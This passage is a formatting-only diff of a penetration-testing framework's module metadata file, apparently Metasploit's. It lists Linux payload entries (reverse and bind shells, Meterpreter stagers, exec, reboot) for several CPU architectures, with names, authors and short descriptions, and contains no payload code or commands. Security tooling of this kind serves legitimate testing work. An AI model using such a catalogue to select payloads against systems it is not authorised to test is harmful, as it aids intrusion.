"post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244314,9 +217334,7 @@ "payload_linux/mipsbe/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/mipsbe/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244341,8 +217359,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244351,9 +217368,7 @@ "payload_linux/mipsbe/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/mipsbe/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244362,9 +217377,7 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244378,8 +217391,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244390,9 +217402,7 @@ "payload_linux/mipsbe/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/mipsbe/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244403,9 +217413,7 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsbe", "rport": null, @@ -244419,8 +217427,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244429,9 +217436,7 @@ "payload_linux/mipsbe/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/mipsbe/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244456,8 +217461,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244466,9 +217470,7 @@ "payload_linux/mipsle/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/mipsle/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244493,8 +217495,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244503,9 +217504,7 @@ "payload_linux/mipsle/meterpreter/reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Stager", "fullname": "payload/linux/mipsle/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244515,9 +217514,7 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244531,8 +217528,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244543,9 +217539,7 @@ "payload_linux/mipsle/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244555,9 +217549,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244571,8 +217563,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244581,9 +217572,7 @@ "payload_linux/mipsle/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244593,9 +217582,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244609,8 +217596,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244619,9 +217605,7 @@ "payload_linux/mipsle/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/mipsle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244631,9 +217615,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244647,8 +217629,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244657,9 +217638,7 @@ "payload_linux/mipsle/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/mipsle/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244684,8 +217663,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244694,9 +217672,7 @@ "payload_linux/mipsle/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/mipsle/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244705,9 +217681,7 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244721,8 +217695,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -244733,9 +217706,7 @@ "payload_linux/mipsle/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/mipsle/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244746,9 +217717,7 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244762,8 +217731,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244772,9 +217740,7 @@ "payload_linux/mipsle/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/mipsle/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244783,9 +217749,7 @@ "juan vazquez " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "mipsle", "rport": null, @@ -244799,8 +217763,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244809,9 +217772,7 @@ "payload_linux/ppc/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244821,9 +217782,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc", "rport": null, @@ -244837,8 +217796,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244847,9 +217805,7 @@ "payload_linux/ppc/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244859,9 +217815,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc", "rport": null, @@ -244875,8 +217829,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244885,9 +217838,7 @@ "payload_linux/ppc/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppc/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244897,9 +217848,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc", "rport": null, @@ -244913,8 +217862,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244923,9 +217871,7 @@ "payload_linux/ppc/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244933,9 +217879,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, @@ -244949,8 +217893,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244959,9 +217902,7 @@ "payload_linux/ppc/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/ppc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -244969,9 +217910,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, @@ -244985,8 +217924,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -244995,9 +217933,7 @@ "payload_linux/ppc/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245005,9 +217941,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc, cbea", "rport": null, @@ -245021,8 +217955,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245031,9 +217964,7 @@ "payload_linux/ppc64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/ppc64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245041,9 +217972,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, @@ -245057,8 +217986,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245067,9 +217995,7 @@ "payload_linux/ppc64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/ppc64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245077,9 +218003,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, @@ -245093,8 +218017,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245103,9 +218026,7 @@ "payload_linux/ppc64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/ppc64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245113,9 +218034,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64", "rport": null, @@ -245129,8 +218048,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245139,9 +218057,7 @@ "payload_linux/ppc64le/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245151,9 +218067,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, @@ -245167,8 +218081,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245177,9 +218090,7 @@ "payload_linux/ppc64le/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245189,9 +218100,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, @@ -245205,8 +218114,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245215,9 +218123,7 @@ "payload_linux/ppc64le/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppc64le/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245227,9 +218133,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppc64le", "rport": null, @@ -245243,8 +218147,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245253,9 +218156,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245265,9 +218166,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, @@ -245281,8 +218180,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245291,9 +218189,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245303,9 +218199,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, @@ -245319,8 +218213,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245329,9 +218222,7 @@ "payload_linux/ppce500v2/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/ppce500v2/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245341,9 +218232,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "ppce500v2", "rport": null, @@ -245357,8 +218246,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245367,9 +218255,7 @@ "payload_linux/riscv32le/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/riscv32le/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245395,8 +218281,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245405,9 +218290,7 @@ "payload_linux/riscv32le/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/riscv32le/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245415,9 +218298,7 @@ "bcoles " ], "description": "A very small shellcode for rebooting the system using\n the reboot syscall. This payload is sometimes helpful\n for testing purposes.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "riscv32le", "rport": null, @@ -245431,8 +218312,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245441,9 +218321,7 @@ "payload_linux/riscv64le/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/riscv64le/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245469,8 +218347,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245479,9 +218356,7 @@ "payload_linux/riscv64le/reboot": { "name": "Linux Reboot", "fullname": "payload/linux/riscv64le/reboot", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245489,9 +218364,7 @@ "bcoles " ], "description": "A very small shellcode for rebooting the system using\n the reboot syscall. This payload is sometimes helpful\n for testing purposes.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "riscv64le", "rport": null, @@ -245505,8 +218378,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245515,9 +218387,7 @@ "payload_linux/x64/exec": { "name": "Linux Execute Command", "fullname": "payload/linux/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245526,9 +218396,7 @@ "Geyslan G. Bem " ], "description": "Execute an arbitrary command or just a /bin/sh shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245542,8 +218410,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245552,9 +218419,7 @@ "payload_linux/x64/meterpreter/bind_tcp": { "name": "Linux Mettle x64, Bind TCP Stager", "fullname": "payload/linux/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245563,9 +218428,7 @@ "ricky" ], "description": "Inject the mettle server payload (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, @@ -245579,8 +218442,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245591,9 +218453,7 @@ "payload_linux/x64/meterpreter/reverse_sctp": { "name": "Linux Mettle x64, Reverse SCTP Stager", "fullname": "payload/linux/x64/meterpreter/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245602,9 +218462,7 @@ "RageLtMan " ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, @@ -245618,8 +218476,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245630,9 +218487,7 @@ "payload_linux/x64/meterpreter/reverse_tcp": { "name": "Linux Mettle x64, Reverse TCP Stager", "fullname": "payload/linux/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245642,9 +218497,7 @@ "tkmru" ], "description": "Inject the mettle server payload (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "x64", "rport": null, @@ -245658,8 +218511,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245670,9 +218522,7 @@ "payload_linux/x64/meterpreter_reverse_http": { "name": "Linux Meterpreter, Reverse HTTP Inline", "fullname": "payload/linux/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245682,9 +218532,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245698,8 +218546,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245708,9 +218555,7 @@ "payload_linux/x64/meterpreter_reverse_https": { "name": "Linux Meterpreter, Reverse HTTPS Inline", "fullname": "payload/linux/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245720,9 +218565,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245736,8 +218579,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245746,9 +218588,7 @@ "payload_linux/x64/meterpreter_reverse_tcp": { "name": "Linux Meterpreter, Reverse TCP Inline", "fullname": "payload/linux/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245758,9 +218598,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245774,8 +218612,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245784,9 +218621,7 @@ "payload_linux/x64/pingback_bind_tcp": { "name": "Linux x64 Pingback, Bind TCP Inline", "fullname": "payload/linux/x64/pingback_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245794,9 +218629,7 @@ "bwatters-r7" ], "description": "Accept a connection from attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245810,8 +218643,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245820,9 +218652,7 @@ "payload_linux/x64/pingback_reverse_tcp": { "name": "Linux x64 Pingback, Reverse TCP Inline", "fullname": "payload/linux/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245830,9 +218660,7 @@ "bwatters-r7" ], "description": "Connect back to attacker and report UUID (Linux x64)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245846,8 +218674,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -245856,9 +218683,7 @@ "payload_linux/x64/shell/bind_tcp": { "name": "Linux Command Shell, Bind TCP Stager", "fullname": "payload/linux/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245866,9 +218691,7 @@ "ricky" ], "description": "Spawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245882,8 +218705,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245894,9 +218716,7 @@ "payload_linux/x64/shell/reverse_sctp": { "name": "Linux Command Shell, Reverse SCTP Stager", "fullname": "payload/linux/x64/shell/reverse_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245905,9 +218725,7 @@ "RageLtMan " ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245921,8 +218739,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245933,9 +218750,7 @@ "payload_linux/x64/shell/reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Stager", "fullname": "payload/linux/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245944,9 +218759,7 @@ "tkmru" ], "description": "Spawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245960,8 +218773,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -245972,9 +218784,7 @@ "payload_linux/x64/shell_bind_ipv6_tcp": { "name": "Linux x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/linux/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -245982,9 +218792,7 @@ "epi " ], "description": "Listen for an IPv6 connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -245998,8 +218806,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246008,9 +218815,7 @@ "payload_linux/x64/shell_bind_tcp": { "name": "Linux Command Shell, Bind TCP Inline", "fullname": "payload/linux/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246018,9 +218823,7 @@ "ricky" ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -246034,8 +218837,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246044,9 +218846,7 @@ "payload_linux/x64/shell_bind_tcp_random_port": { "name": "Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/linux/x64/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246070,8 +218870,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246080,9 +218879,7 @@ "payload_linux/x64/shell_find_port": { "name": "Linux Command Shell, Find Port Inline", "fullname": "payload/linux/x64/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246090,9 +218887,7 @@ "mak" ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -246106,8 +218901,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246116,9 +218910,7 @@ "payload_linux/x64/shell_reverse_ipv6_tcp": { "name": "Linux x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/linux/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246126,9 +218918,7 @@ "epi " ], "description": "Connect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -246142,8 +218932,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -246152,9 +218941,7 @@ "payload_linux/x64/shell_reverse_tcp": { "name": "Linux Command Shell, Reverse TCP Inline", "fullname": "payload/linux/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -246162,9 +218949,7 @@ "ricky" ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "x64", "rport": null, @@ -246178,8 +218963,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, 